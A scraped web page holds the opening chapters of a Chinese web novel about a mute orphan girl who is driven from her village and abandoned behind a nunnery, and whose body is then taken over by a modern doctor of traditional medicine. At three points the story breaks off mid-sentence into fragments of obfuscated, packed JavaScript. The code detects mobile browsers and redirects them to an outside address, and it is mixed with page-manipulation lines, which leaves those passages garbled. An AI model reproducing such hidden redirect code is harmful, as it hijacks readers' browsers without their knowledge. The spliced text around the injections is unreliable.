《杏林天香》 1. 第一章 许氏孤女 吴越境内,天目余脉,有一座南山,山脚下有个村落名落溪村,居住着几十户人家,以种植茶叶、打猎为生,有时也挖些毛笋、采些药材补贴家用。 落溪村村西头有一户许姓人家,家中夫妻二人。汉子叫许大郎,年近不惑,妻柳氏,三十七八岁年纪。夫妻二人是十几年前来此地落户的,以打猎采药为生,偶尔也替邻里瞧个头痛脑热的病。夫妻俩相依为命,柳氏一直不曾生育,二人愁得头发都白了一半,四处求神拜佛,寻医问药,用了不知多少汤药偏方,拜了多少神佛菩萨,却无甚效果。 一日,许大郎去镇上贩卖药材,听路人说镇上来了一位神算,能卜吉凶,断生死,通阴阳。许大郎心想:自己虽说精于岐黄之术,几十年来也瞧过不少疑难杂症,却始终也无法让妻子有孕,难道此生注定我许某人无子嗣?人都说医不自医,罢了罢了,既是有如此神算,何不让他起上一卦,算一算自己是否命里无子嗣?若是真无,那我也就死心了。想着,便将手中药材速速卖完,寻了神算,将自己来意诉说一番。 神算屈指掐算一番,道:“且家去吧,来日阿嫂便可有身孕。” 许大郎听了神算的话半信半疑,迟疑着把了几钱银子与神算,径直家去,当笑话说与柳氏听。柳氏听了,却暗暗心酸,也没将此事当回事。 过得几日,柳氏浑身懒怠,食欲全无,时伴有恶心呕吐。许大郎见状,忙上前捉了柳氏的手腕号脉,足足半晌,抚须且喜且惊,似是不大相信,忙又请了一位郎中家来瞧。郎中把了柳氏的脉,良久,方笑道:“恭喜恭喜,老嫂子这是喜脉。” 许大郎提着的一颗心瞬间便放了下来,与柳氏相对惊喜万分,遂多把了些银钱与郎中,喜笑颜开将郎中送走。 至此,许大郎精心照顾柳氏,万万不敢粗心大意。冬去春来,来年三月,果然生得一女。二人喜得贵女,逢人便夸,只道是上天垂怜,总算不负多年求神拜佛的诚心。 欢喜开心之际,夫妻俩商量给小女起个大名。商量来商量去,夫妻俩都拿不定主意。后来还是柳氏道:她记得小时候去外祖家,路过一处庄子,见那庄子里有户人家的园子里种了不少杏树。那年正是杏子成熟的季节,满树娇黄的杏子又大又圆,老远就闻到香甜的味儿,那味道一直留在柳氏的记忆中,如今还能想起那味道来——不如就起名叫娇杏吧! 许大郎听了也十分赞同。 娇杏满月,夫妻俩请邻里乡亲吃满月酒。乡亲便让抱出娇杏儿瞧瞧,柳氏穿戴齐整,用小碎花被子抱出娇杏,大家齐上前观看。只见襁褓中躺着一个眼珠黑漆漆的小人儿,小身板也白胖白胖的,养得十分好看。大家纷纷夸赞,都道许大郎夫妻有福气,柳氏老蚌怀珠,娇杏往后必有大造化。 时光荏苒,匆匆两年多过去,娇杏两岁多,都会满地跑了。有一天,邻居张婶子来串门,看见娇杏坐在树下的矮凳上看柳氏剥豆子,很是乖巧,便笑道:“她婶子,还是小细娘省事,不哭不闹的。我家二郎才九个月,可淘气啦!成天价地闹腾,会喊阿爹、阿娘。你家娇杏也差不多两岁半了,可会说许多话了吧?” 柳氏听了一愣,心想:是呢,我家娇杏怎还不能开口?自己每日都抱着她让喊娘亲,可娇杏只是瞪着一双大眼睛看着她,就是不喊人。自打娇杏一岁,自己和她阿爹每日都围着娇杏让她喊人,可她就是不开口。自己还想着是不是这孩子说话晚,可现在都两岁半了,村里的孩子像她这么大的都会说话了,就是老夏家的春生小郎,虽说比娇杏还大一个月,可也会叫人了。莫不是娇杏有什么问题?可平时自己也和当家的观察,觉得这孩子没什么问题啊! “许是孩子还小。”柳氏温柔地看了娇杏一眼,摸了摸娇杏的头:“这不才两岁多点?万家沟杨发财家前儿出嫁的秀竹,不是也三岁才开口说话。”柳氏对张婶子道。 张婶子哼哼笑道:“也是,这都是孩子的造化,释迦佛爷管着呢!他老人家要是不让你开口,你就是想说话也是不成的。” 到底会不会说话?管释迦佛爷什么事! 柳氏听了张婶子的话心里十分不喜,便没有接她的茬。可她对佛祖其实很虔诚的,虽然心里有那么一句,却连忙暗中呸了自己一声。佛爷勿怪,是信女失礼了,过几日就去给您老人家添些香油钱。 张婶子见柳氏低头剥豆,也不搭腔,便觉没趣,坐坐也就走了。 如此又过了一年,娇杏已经三岁多了,却依然不言不语,不哭不笑,急得许大郎两口子起了一嘴燎泡。许大郎暗中请了无数郎中来瞧,都道瞧不出什么病,无能为力。后儿遇到一个游方郎中瞧了,斟酌良久才遗憾道:“怕是不会说话的聋哑儿,病乃胎里自带,请恕老儿无能为力。”说着摇头叹息而去。 两口子听了顿时震惊万分,老泪横流。柳氏更是心疼交加,抱着娇杏儿大哭,许大郎也是唉声叹气。两口子一夜愁白了头。 自此,两人心疼之余,对娇杏儿更加爱惜。 邻里乡亲知道了此事,暗暗叹息,都道许大郎两口子命苦,一直求子,终于求到了,却是个聋哑儿,就是长大了也没有谁家敢要,这婆家是指定难找。 许大郎两口子伤心许久,虽然觉得有些遗憾,可日子还是要过,更何况娇杏虽然不会说话,却十分乖巧。想着娇杏再大些,就带着娇杏多找些郎中瞧,或许娇杏有造化,说不定就能给治好了。 娇杏七岁那年,许大郎进山打猎不慎遇到了黑瞎子。等村民找到的时候,许大郎已经不行了,抬回家没多久就没了。柳氏伤心之下一病不起,蹉跎了半年多,也跟着去了,留下年仅七岁的娇杏。 随着日子一日日往后推,邻居看娇杏的眼神从开始的怜惜到漠视,再到看见娇杏就躲。不知从何时起,村里传出一股流言,说娇杏是恶鬼转世,生来命硬。这不,前头克死了爹,后头又克死了娘,往后啊,那可不好说了!不定克死离她最近的人呢!嫁人就别想了,就她那样儿,谁家会要个聋哑儿? 好事不出门,坏事传千里。一传十,十传百,十里八村的都知道落溪村有一恶鬼转世的哑巴女,克死了父母。村里的孩子只要见到娇杏,不是追打,就是谩骂。娇杏一个不会说话的孤女,吓得不敢出门,整夜躲在房间不得入眠。 村里人都说她是恶鬼转世,嚷嚷着赶走她。村里大多数都是张姓人,耆老也是张家的。耆老与村里有头脸的人经过商议,便分割了娇杏家的几亩田地与池塘,还有山上的几亩毛竹。就连娇杏家的房子,也被耆老分给了他的一个亲戚。娇杏被赶出了村,无家可归。 柳氏活着的时候,跟村东头的李婆子算是有几分交情。许大郎曾救过李婆子丈夫的命,因着这层关系,柳氏又有临终托付之言,李婆子便将娇杏带回家住。谁想被李婆子大儿媳妇知道了,闹到二郎家来,哭天抢地、撒泼谩骂,搅得全村人都知道。全村人都指责李婆子不顾大家安危,将一个祸害留在村里。要是再不赶出村,就在全村人面前被沉塘! 李婆子一个妇人,虽说为了报恩,可触犯了众怒,她也没办法。被逼无奈,李婆子答应将娇杏带出村。只要不出现在落溪村,村民也就随她了。 李婆子带着娇杏,背着一个包袱,手牵着她往后山水月庵而去。顺着这条路走上差不多一个时辰,就到水月庵了,这也是李婆子深思熟虑后的决定。 李婆子家境贫寒,育有两子一女,老伴儿早就过世了,儿子也都已娶妻生子,女儿早已嫁了人,嫁在邻村。老伴儿临死前将家分了。原本李婆子是跟大儿子一起过,可架不住大儿子娶了个悍妇,每日里不是指桑就是骂槐。又赶上二儿媳病没了,留下两个孙儿无人照看,二儿子成天在外游手好闲、不务正业,好好一个家,被他折腾得一穷二白。眼看着二儿子不成器,两个孙子连顿饭也吃不饱,李婆子只好去了二儿子家,帮着二儿子家做点事,照看孙子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222012|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今日能带着娇杏来庵里投靠,李婆子前思后想,深思熟虑:想着娇杏命硬,又是聋哑儿,这方圆几十里的人家都知道这事,谁还敢收养她?躲还来不及呢!但神佛就不一样。在李婆子潜意识中,其实她也是有些怕娇杏的,怕沾上她,自家会不会被克?她自己倒不要紧,就怕克着大郎、二郎他们,那就得不偿失了。虽然李婆子想报恩,但也是在不伤害到自己的前提下。 水月庵庵主是一位年近三十的尼姑,人称水仙姑,长得颇有几分姿色。她见李婆子带来的是一哑女,便有些不喜,上下打量了一番,觉得娇杏虽然不会说话,但却长得还算周正。便打发人带娇杏跟着几个还没有剃度的小尼姑住在一起,又命她每日里早起打扫院子、房间,并帮着庵里的尼姑挑水洗衣做饭。 时年正好冬月,山里天气尤为寒冷,娇杏才七岁,哪里吃得这样的苦?每日天不亮就起床,不是挑水就是洗衣,打扫庭院。才一个来月便累病了。庵主越加不喜娇杏,嫌弃她不能做活还让庵里养着,便使人将娇杏挪到了庵堂后面荒废的茅屋。 没想到就在娇杏病倒的第二夜,也不知是小尼姑没有照看好观音殿的香烛还是怎么的,引燃了桌布,观音殿走了水,被烧去了半边。虽没伤着人,但也折腾了大家一晚上。 水仙姑气得七窍生烟,将一众尼姑召集起来斥骂半日。其中一个长着一双三角眼、嘴角边有一颗黑痣、相貌极其刻薄的叫静非的尼姑,她一直站在水仙姑身后,这时却上前一步,在水仙姑耳边一阵嘀咕。水仙姑听后使劲拍了一下桌子,恶狠狠地骂了一句:“这个祸害!” 然后吩咐静非去茅屋将娇杏拎过来,让她跪在烧得只剩一半的观音殿前忏悔。娇杏烧得迷迷糊糊的,被人按倒在烧得焦黑的地上,整整跪了一夜。次日,等她被人架回茅屋的时候,已经只剩下半条命了。 谁想就这也不能让水仙姑解恨。她让人叫来泥瓦匠,将通往后山茅屋的门封死了,并对所有尼姑说:“恶鬼转世之人,走到哪里哪里就会有祸事。从今往后,不许那个祸害再踏入庵里半步!谁要是放进那个祸害,就在菩萨面前跪七七四十九日,三日不许进食!” 这是要让娇杏自生自灭的节奏啊!可怜娇杏就这样不但累病无人照顾,还被折磨得只有出气无进气了。 这日,李婆子在自家院子里喂鸡,就见二儿子家二郎和张婶子家大郎嘻嘻哈哈、推推搡搡冲进来。俩人在院子里一顿忙乎追赶,顿时鸡飞狗跳。李婆子气得呵斥了几声,赶着俩小子让出去闹腾。二郎嘻嘻哈哈躲着李婆子手中的笤帚,钻进厨房摸了半块李婆子刚刚烤好的笋,窜出了房门。 李婆子气得跳脚直骂:“那是给你阿爹留着下酒的,你个混小子!偷吃了仔细你阿爹家来打你!” 二郎鼓着个腮帮子嬉笑道:“我就吃了半块,还有好几块在灶台上呢!那些我阿爹尽够了。”说着扬了扬手中咬了一半的烤笋:“阿婆,我去大锤家了,大锤他阿爹打猎回来了,还说后山水月庵走了水。”说着拉着张家大郎出门跑了。 李婆子听了二郎的话愣住了,半晌方回过神,张口要喊二郎问个明白,一抬头不见二郎的影子,急得在院子里乱转。 心想:水月庵走了水?这娇杏才去不到俩月,不会是出了什么事情吧!想着许久不见娇杏,也不知道她如今过得怎么样。这水月庵走了水,会不会与她有关?自打上回送了娇杏去水月庵,过了一月,她又去了一回,发现娇杏比一月前瘦了,她这心里就一直揣着忐忑。那水月庵的庵主水仙姑瞧着不是个好相与的,可怜娇杏小小年纪便没了爹娘,村里又为着这事容不下她。自己为着报恩,才偷摸将人送到那里,别是出事了吧!若真是出了事,自己这岂不是害了她? 不行,怎么也要去瞧瞧。 想着,抬头看看天色尚早,便进屋拾掇了一番,怀里揣了些干粮,匆忙出了村子,转道拐上后山的近路,一路往水月庵而来。 2. 第2章 开口说话 李婆子自从送娇杏来水月庵后,第二回来给她带了床被褥,知道娇杏和几个小尼姑住在后院。如今她走到水月庵前,却见庵门大开,门前有两个婆子正往里搬东西,水仙姑站在边上,一脸严肃地说着什么。李婆子心里一惊,急忙闪身躲到庵前一棵大树后,探出半个脑袋往前张望,见水仙姑说了几句话便转身进去了。 李婆子抹了抹额头的汗。不知为何,她一见水仙姑就觉得心慌,不敢与她直面。眼下见水仙姑进了庵,李婆子便寻思找个人打听打听,看看是怎么回事。 今日怎地门前聚了这许多人?娇杏又在哪儿? 她正要从树后出来,就见庵里又走出一个小尼姑。李婆子定睛一看,心中顿时一喜,忙上前笑道:”静尘小师父。” 原来这叫静尘的尼姑,李婆子是认得的。她本是前任庵主的弟子,前任庵主与李婆子还沾着表亲。那尼姑见是上回送娇杏来的李婆子,先是一惊,四下张望一番,赶忙将李婆子拉到一旁,附耳低语了几句。 李婆子听得又惊又气。 这水仙姑真不是个东西!观音殿走了水,怎能怪到娇杏头上? 谢过静尘,李婆子便依着她的指点,绕过水月庵,往后山那间小茅屋走去。山路僻静,平日里少有人行,幸得李婆子土生土长,对山上路径十分熟悉。 顺着小路七拐八弯来到茅屋前,只见篱笆门虚掩着。李婆子上前轻轻一推,门便开了,里头没上拴。 走进小院,李婆子环顾四周,只见荒草丛生,墙边的野草长得比人还高。她看着心里发酸:没娘的孩子,可怜呐!自己也不能常来看她,这回还是偷偷来的。若让村里人知道她这般行事,只怕也脱不了干系。唉,也只能看这孩子的造化了。 “当家的,娇杏她爹曾救过你的命,我这也算是报了恩。就是死了,也有脸去见你了……”李婆子心里默默念叨着,朝屋里喊了一声:“娇杏儿,阿婆来看你了!” 她明知娇杏听不见,心里却忍不住盼着:哪怕有朝一日,这孩子能应她一声,该多好。 李婆子走到屋前,见屋门半掩,便推门又唤道:“娇杏儿,阿婆来了。” 话音刚落,便见门缝里探出一张小脸,戴着顶灰色比丘尼帽,脸色紧绷,一双黑白分明的眼睛水汪汪的,怯生生地望着她,小嘴抿得紧紧的。 李婆子一见这张小脸,眼角皱纹不由得挤到一起,露出笑意:“乖囡,瞧阿婆今日给你带了什么好吃的:“有年糕,还有烤笋,快过来。”她一边招手,一边从怀中掏出一个荷叶包,展开来朝娇杏示意。 “快过来吃,这笋还热乎呢!阿婆晓得你喜欢。” 见娇杏仍扒着门框不动,李婆子轻轻叹了口气,心中凄然:老天爷也真是不公! 她走过去,将娇杏拉到床边坐下,把荷叶包放在屋里唯一那张破竹凳上,抬手轻抚娇杏的头发:“乖囡啊,你是不是怨阿婆了?怨阿婆这么久没来看你?可阿婆也是不得已,唉……” 李婆子长长叹了口气,半晌没再说话,只是一下一下抚着娇杏的头。 “快吃吧。”她拿起竹凳上的烤笋递给娇杏。 娇杏迟疑片刻,才伸手接过。 李婆子欣慰地笑了笑,替娇杏扶正有些歪斜的帽子。见娇杏睁着一双大眼睛,一眨不眨地望着自己,李婆子柔声道:“你这小乖囡,眼睛生得跟你娘一模一样。你娘刚来村里时我还记得,穿着绸缎衣裳,那张脸就跟细白瓷似的,简直像从画儿里走出来的仙女。咱十里八村的小娘子,没一个及得上她。你爹也生得英武不凡,那时节,村里的小姑娘们不知多羡慕你娘,都说她好福气。可这福气不福气的,也得看人往后的造化。娇杏啊,你们老许家就剩你一条根了。你娘走得急,许多事来不及交代,只托我照看你。阿婆应下了,可阿婆却没做到你娘嘱托的那样——不是阿婆不愿,是阿婆身不由己。你爹娘都是好人啊,可好人不长命……” 说着说着,李婆子眼眶就红了。她把娇杏搂进怀里,轻拍着她的背,又忍不住自言自语:“娇杏又听不见我说话……你说你个老货,唠叨这些干啥?娇杏还小呢。上回送来的吃食也不知吃完没有。本想着庵里总能照顾一二,如今看来,怕是不成了。那水仙姑真不是个好的,既是伺候菩萨的人,原该有几分菩萨心肠,谁想竟这般歹毒。这可如何是好?不如……把她送去三娘家?不妥,三娘那婆婆心眼小,又爱动歪心思,送过去怕是还不如这儿,好歹有个容身之处。唉,难呐!” 李婆子自顾自琢磨了半晌,正拿不定主意,忽觉怀里那瘦小的身子轻轻挣了挣。她回过神来,忙松开娇杏,笑道:“乖囡,怎么还不吃?快吃吧,看这都凉了。天冷,阿婆怕凉着一路揣在怀里,连二郎都没让多吃……” “阿婆。” “哎。” 李婆子正催着,忽听一道细微稚嫩的声音从对面传来。 她下意识应了一声,随即猛地一愣,慌忙四下张望——刚才……是有人喊她? 许娇娇见老婆婆伸着脖子往门口张望,神色惊疑,忙又小心翼翼地唤了一声:“阿婆。” 李婆子这回真真切切听清了,惊得从床边猛地站起,瞪大一双布满皱纹的眼睛,直直盯着许娇娇,嘴唇哆嗦着:“娇、娇杏儿?乖囡,你……你能喊阿婆了?你、你听得见了?” “嗯。”许娇娇舔了舔干涩的嘴唇,斟酌着开口,“阿婆,您别急,先坐下,听娇杏慢慢说。” 李婆子颤巍巍跌坐回床头,又是激动又是心酸,老泪止不住往下淌。她用袖子抹了抹眼泪,盯着眼前的小人儿,眼睛都不敢眨,生怕这是一场梦。 “娇杏儿,你、你掐阿婆一下,阿婆这不是在做梦吧?咱的乖囡真能开口说话了?” 许娇娇望着眼前老人,心底一阵悸动,眼眶蓦地发热。这两日担惊受怕、万念俱灰,强撑的那股劲儿,在这一刻倏然瓦解——原来这世上,终究还有人真心关切着她。 穿越这事,谁又想呢?谁放着好好的日子不过,偏来这荒山野岭遭罪?可事已至此,至少……她还活着。 许娇娇冰封的心,悄然裂开一丝暖意。她踮脚爬上床,挨着李婆子坐下,仰脸露出一个甜软的笑:“阿婆,娇杏前几日染了风寒,病得昏沉时做了个梦。梦里有一位白胡子老爷爷,他说我前世修行不足,今生投胎时只开了五窍。如今机缘巧合来到水月庵,沾了菩萨的灵光,剩下两窍便也通了。老爷爷还说,让我暂且住在这儿,待哪日修行圆满,他自会再来托梦告诉我。他还嘱咐……我能开口说话的事,眼下万不能叫旁人知道。” “竟有这等事!”李婆子闻言大吃一惊,再细看眼前的小娘子——原先那聋哑木讷的模样全然不见了,此刻说起话来条理分明,眼神清亮,小脸透着灵气,俨然有了孩童该有的鲜活气儿。 人常说圣人有七窍,一窍不通便是呆木,何况这孩子原先聋哑两窍闭塞,难怪总如木雕泥塑般。如此想来,娇杏所言不虚,定是神仙点化。 李婆子想通了这一节,暗自点头,长舒一口气,双手合十喃喃道:“真是神仙显灵,乖囡有造化,竟能逢凶化吉。你梦里那位老爷爷,怕是哪位仙家特来点化你的。这可是几世修来的福分!” 听了这话,许娇娇悬着的心才稍稍落下. 看来古人果真信鬼神之说,李婆子并未起疑。只是自己病愈之事,确不能张扬。落溪村那些人本就对她心存偏见,若知晓她忽然能言能听,还不知要生出什么事端。 前身残留的记忆碎片里,似乎家里原是有房有地的,只不知如今还在不在…… “阿婆,”她试探着问,“梦里老爷爷让我住这儿,那……村里我家的房子怎么办?” 李婆子一愣,神色微僵,抬手摸了摸她的头:“神仙既让你住这里,你便好生听神仙的话,莫淘气。自你爹娘过世,村里那几间房因无人居住,已分给别家了。如今那都是别人的屋子。你一个小囡囡,便是回了村,也守不住那些田产房屋。” “这样啊……”许娇娇听了,心头一阵憋闷——这也太欺负人了!可转念一想,自己眼下这般模样,真回了村,恐怕连性命都难保。幸得还有李婆子照应,她暗暗感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222013|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激,发誓往后定要报答这份恩情。 李婆子见天色渐晚,便起身告辞,又絮絮叮嘱了许多,才依依不舍地离去。 许娇娇一直将李婆子送到门外,目送她的身影隐入竹林深处,才转身进屋,轻轻闩上门。山里天黑得早。不远处溪水潺潺,伴着几声鸟鸣;偶有山风拂过竹林,沙沙作响。天气依旧寒冷,阴湿刺骨。 难怪原主没能熬过去,倒让她捡了这个身子。记忆中,水月庵的小尼姑静尘曾送了两件改小的旧尼袍,如今她身上穿的便是其中之一。若非有这麻絮袍蔽体,在这寒夜里,怕真要冻得穿回去了。 对许娇娇而言,生火做饭并非难事,难的是无米下炊。李婆子当初送娇杏来水月庵时,几乎什么也没带,只道庵主既是修行之人,总不至见死不救。可她料错了——并非所有诵经礼佛之人都怀慈悲心肠。那水仙姑虽收留了娇杏,却未存半分善念,只把这七八岁的孩子当作劳役,病了便丢到庵外任其自生自灭。这般铁石心肠,实非常理可度。 后来李婆子偷偷来过一次,带了吃食与麻絮被褥,又帮着收拾了屋子,连旁边那间石头垒的小厨房也拾掇了一番,还手把手教娇杏生火做饭。 这小厨房紧挨着主屋,里头竟有锅灶。灶台上搁着一只破瓦罐、两只豁口的粗碗,想来从前曾有猎人或是农户在此落脚。幸得这些旧物,否则许娇娇真要喝西北风了。 这两日,她也勉强做了两顿饭。光是点火便费尽周折——打火石擦了大半个时辰,几乎要效仿古人钻木取火。就在她几乎放弃时,火星终于燃起。第一顿是野菜汤,第二顿热了剩汤,里头好歹撒了把糙米,也算是一碗薄粥。那糙米还是上回李婆子带来的,约莫还剩四五斤。 好在今晚有李婆子新送来的一个烤笋、三块硬邦邦的年糕。年糕省着吃,还能对付三两日。 唉,真是艰难。这小小身板能做什么呢?孤零零一个人,无亲无友,连只猫狗相伴也无。在这寂静深山里,长久无人说话,怕是人也要痴了。若这般过下去,几年后的自己,会不会也变得如原主那般沉默如木? 徐娇娇站在院中,双手叉腰,仰天长长吐出一口气。 革命方才开始,同志尚需努力。许娇娇,振作些,最绝望的日子已经过去了,这两日还没接受现实么? 夜晚躺在四面透风的茅屋里,许娇娇裹紧被子,又冷又怕。黑暗有时也是一种庇护——至少在被褥包裹的这一刻,她感到一丝微弱的安全。溪流声在夜色中格外清晰,其间夹杂一两声不知是野兽还是山鸟的啼鸣。 许娇娇在暗夜的包围中不自觉流出了眼泪,将有些干硬的枕头都哭湿了。 可穿越这种事玄之又玄,不是人力能参透的。她轻叹,罢了,明日事明日再想罢,今夜先睡个好觉。这里实在太孤清了,还是养条狗吧,好歹有个活物作伴。在迷迷糊糊间她睡去。次日清晨,许娇娇去不远处的溪边掬水洗了脸,回到石灶厨房,踩在两块垒起的石头上,煮了来这里后最像样的一顿早饭——野菜汤就年糕。 吃饱喝足,她摸着微微鼓起的小肚子,在院里转悠。原主这身子底子不差,刚穿来时还头晕体虚,这几日未用药,风寒竟也好了大半。只要不是弱不禁风,能自力更生便是最好。 她在西墙角找到一把生锈的镰刀和一只竹编篮子。昨夜思忖半宿,眼下最要紧的便是填饱肚子。余粮所剩无几,总不能日日指望李婆子接济。看李婆子言行衣着,也非宽裕人家。授人以鱼不如授人以渔,终究得靠自己。 从此,她便是娇杏了。既然占了这可怜女孩的身子,便替她好好活下去罢。 出了篱笆门,娇杏挎着篮子、提着镰刀往山里去。前世她是一名中医师,她出身中医世家——祖父是研究院教授,父亲任中医院院长,母亲亦是主治医师。自幼耳濡目染,认药草、背《汤头歌》、读《黄帝内经》便是她童年的全部。同龄女孩学琴跳舞时,她在读医书;旁人恋爱成家时,她还在读医书。好容易事业有成,一场山体滑坡,却将她送到这里。 这大约便是她前世恢弘人生的终章。 3. 第3章 静尘师姐 山路不熟,她不敢深入,只沿着一条踩出的小径缓行,边走边留意两旁植被。道旁毛竹挺拔青翠,溪水声自不远处隐隐传来。虽是冬季,草木多枯,竹林却依旧茂盛。她以镰刀轻掘,便能辨出根茎是否可作药材。这般边走边采,沿溪而上,不过一个半时辰,篮中竟已有了五六种药草。 看着将满的篮子,娇杏抹了抹额间薄汗,直起身子。从林隙透下的日光判断,已近正午。她放下镰刀,在溪边洗净手上泥土。溪水清冽,映出一张戴灰尼帽的小脸——淡眉秀目,鼻梁小巧,唇色浅粉,肤色白皙。她蹙眉,水中影亦蹙眉;她伸手搅乱水面,倒影霎时破碎。 这张脸与自己前世相差甚远,或许因年岁尚幼,总透着一股怯生生的不安。 娇杏轻叹一声,起身在衣上擦了擦手,提篮沿原路返回茅屋。 将草药与野菜分开摊在干净地面上——野菜午间煮粥,药材洗净晾晒。她虽懂得炮制之法,如今却无力施行:年纪小,气力弱,工具药材俱缺,只得从简。 她对这世界一无所知:不知何朝何代,不明身在何方,亦不晓此间的医术发展到何境地。 日头正盛时,她热了早上剩下的野菜粥,只放了一丁点盐。缺油少盐,饭食寡淡,人也没力气。这时代盐价似乎不菲,上回李婆子用纸包捎来一小撮,颗粒粗大,仅婴儿拳头大小。 正午阳光暖融融地照着,娇杏坐在院中石墩上,托腮望天,怔怔出神。 篱笆门“吱呀”一声轻响。 娇杏抬头望去,见一袭灰袍的尼姑跨进门来——正是静尘。她年约十二三岁,眼形细长,面色略显苍白。 娇杏忙起身相迎。 “小施主可安好?”静尘露出恬静笑意,抬手比划着,“贫尼这几日下山化缘,未得空来看你。身子可大好了?”说着将手中一个粗布包袱搁在一旁,低头端详娇杏。 娇杏任她端详片刻,佯作怯生生地轻唤:“静尘姐姐。” 静尘倏然瞪大双眼,话音微颤:“你——你会说话?不,小施主不是……” 娇杏知她惊诧,轻轻摇头,又点点头。 “从前不能,后来做了个梦……”将那套“白胡子老爷爷”的说辞又述了一遍。 静尘怔了怔,旋即了然颔首:“原是如此。阿弥陀佛,小施主果真有造化。”她顿了顿,低声道,“只是小施主年纪虽幼,容貌本已出众,若让水仙姑知你病愈如常,只怕要生事端。” “小施主来。”静尘牵起娇杏的手,引她在石墩坐下,“你会说话之事,暂且莫让旁人知晓,尤其是庵中他人,可记住了?” “为何呢?”娇杏故作懵懂。 “是为小施主好。”静尘怜惜地抚了抚她的发顶,“你尚年幼,往后自会明白。”转而温声问,“这些日子过得可还妥当?” “我好多了,多谢静尘姐姐牵挂。” 静尘微微一笑,指向那包袱:“这是我化缘得来的些须吃食,你收着慢慢用。天寒,能放些时日。” 娇杏望向那鼓囊囊的包袱:“里头是什么?” “不过是几个炊饼、包子,还有一小袋稻米。” 静尘拉过娇杏的手握在掌心,又轻触她衣袖:“手这样凉,可还冷?我那儿有件旧袍,稍显宽大,明日改小了给你送来。过几日下山,再替你化些布料,做两身换洗衣裳——你非出家之人,总穿尼袍不妥。” 娇杏任她握着手,心中滋味复杂。自己一个年近三十的魂灵,被这半大少女如幼妹般关怀,又是别扭,又是暖意暗生。抬头望见静尘平和的面容,只觉那眉眼格外温柔可亲,眼眶竟有些发热。她忙低下头,细细应着静尘的叮嘱。 “……你还小,若是……若有机会,还是远远离开此地为好。”静尘欲言又止。 “静尘姐姐放心,”娇杏仰脸,睁着明澈双眸,“我不会扰庵主清静,也不必倚靠庵里。我能上山采野菜野果,不会饿着自己。” 静尘静默良久,终是轻叹一声:“……此处,终究非久留之地啊!” 小施主毕竟年幼,那些腌臜事,不提也罢。待她再大些,便替她寻个良善人家安顿。一切,且看造化吧。我佛慈悲,阿弥陀佛。 娇杏暗想:七岁身躯装着三十岁的灵魂,学孩童说话倒不算难事。静尘临行那番话,她一时未解深意,却也未多思量。 本就不打算在此久居,待药材攒足,便寻机进城看看吧!或许另有出路。 静尘离去后,娇杏急急解开包袱,里头除一小袋糙米,还有十来个拳头大小的包子馒头。虽已凉透,仍松软可口。她拿起一个咬下,是白菜馅的,清香素净。一连吃了两个,才想起静尘是尼姑,化缘所得自是素食。 有这样一个姐姐,真好。日后若得机缘,定不能忘了这些曾予她温暖之人。 接下来的日子,许娇娇除了每日上山采药、挖野菜,还趁着空闲,用镰刀将院中杂草一一砍去。幸得此处早先有人居住,留下几样农具,这几日天气晴好,未遇雨水,倒也方便。她年纪小,力气弱,每日忙得汗流浃背,夜里烧水略作擦洗,倒头便睡,连梦也不做一个,一觉直睡到天明。 接连忙了一个来月,院子总算有了几分模样。 这一日,静尘又来了,带来些粗布、一件旧袍并鞋袜,还有两身崭新的粗蓝花布麻絮袄,另有些许吃食与一包盐。许娇娇早已习惯与她亲近——左右这身子还是孩童,便再装一回嫩罢。 她欢喜地蹭在静尘臂边,像只依人的小猫。静尘心下一片柔软,含笑道:“小施主,且试试这棉袍可合身。上回带的吃食可都用完了?今回我又捎了些来。” “静尘姐姐真好。”许娇娇仰脸望着她,满目敬慕,“我昨儿才吃完,今儿姐姐就来了。莫非姐姐会掐算?好生厉害。还有,姐姐别唤我小施主了,往后我便认你做姐姐,嫡亲嫡亲的姐姐——你叫我娇杏罢!” “这如何使得!”静尘连忙摆手,“不可不可。贫尼乃出家之人,四大皆空、六根清净,小施主切莫妄言。” “这样啊……”许娇娇见她非但不应,反倒着急,心头一阵失望。原来出家人是不能有亲朋的么? “静尘姐姐,”她轻声问,“那你还有家人么?他们为何让你出家?” “贫尼……不知。” 静尘听她问起家人,怔了怔,神色有些茫然。自己应当是有家人的罢?是人,总该有家人的。可他们又在何处?似乎自记事起,她便一直在庵中生活。出家人讲求四大皆空,每日除随师父打坐、诵经,便是下山化缘,倒真不曾思量过家人之事。 不过,有无家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“菰城?大越?”许娇娇搜肠刮肚,也想不起“大越”是何朝何代,“那……皇帝是谁呢?” “小施主慎言!”静尘神色一肃,“天子的名讳,岂是我等可直呼的?不过……”她压低声音,“贫尼悄悄告知你:我大越国姓乃姬。” 言罢,她起身道:“你年岁尚小,知道这些也无甚用处。只是小施主切记——你开窍之事,万不可让庵中他人知晓,以免招惹祸端。贫尼告辞,小施主多多保重。”说完,她便转身离去。 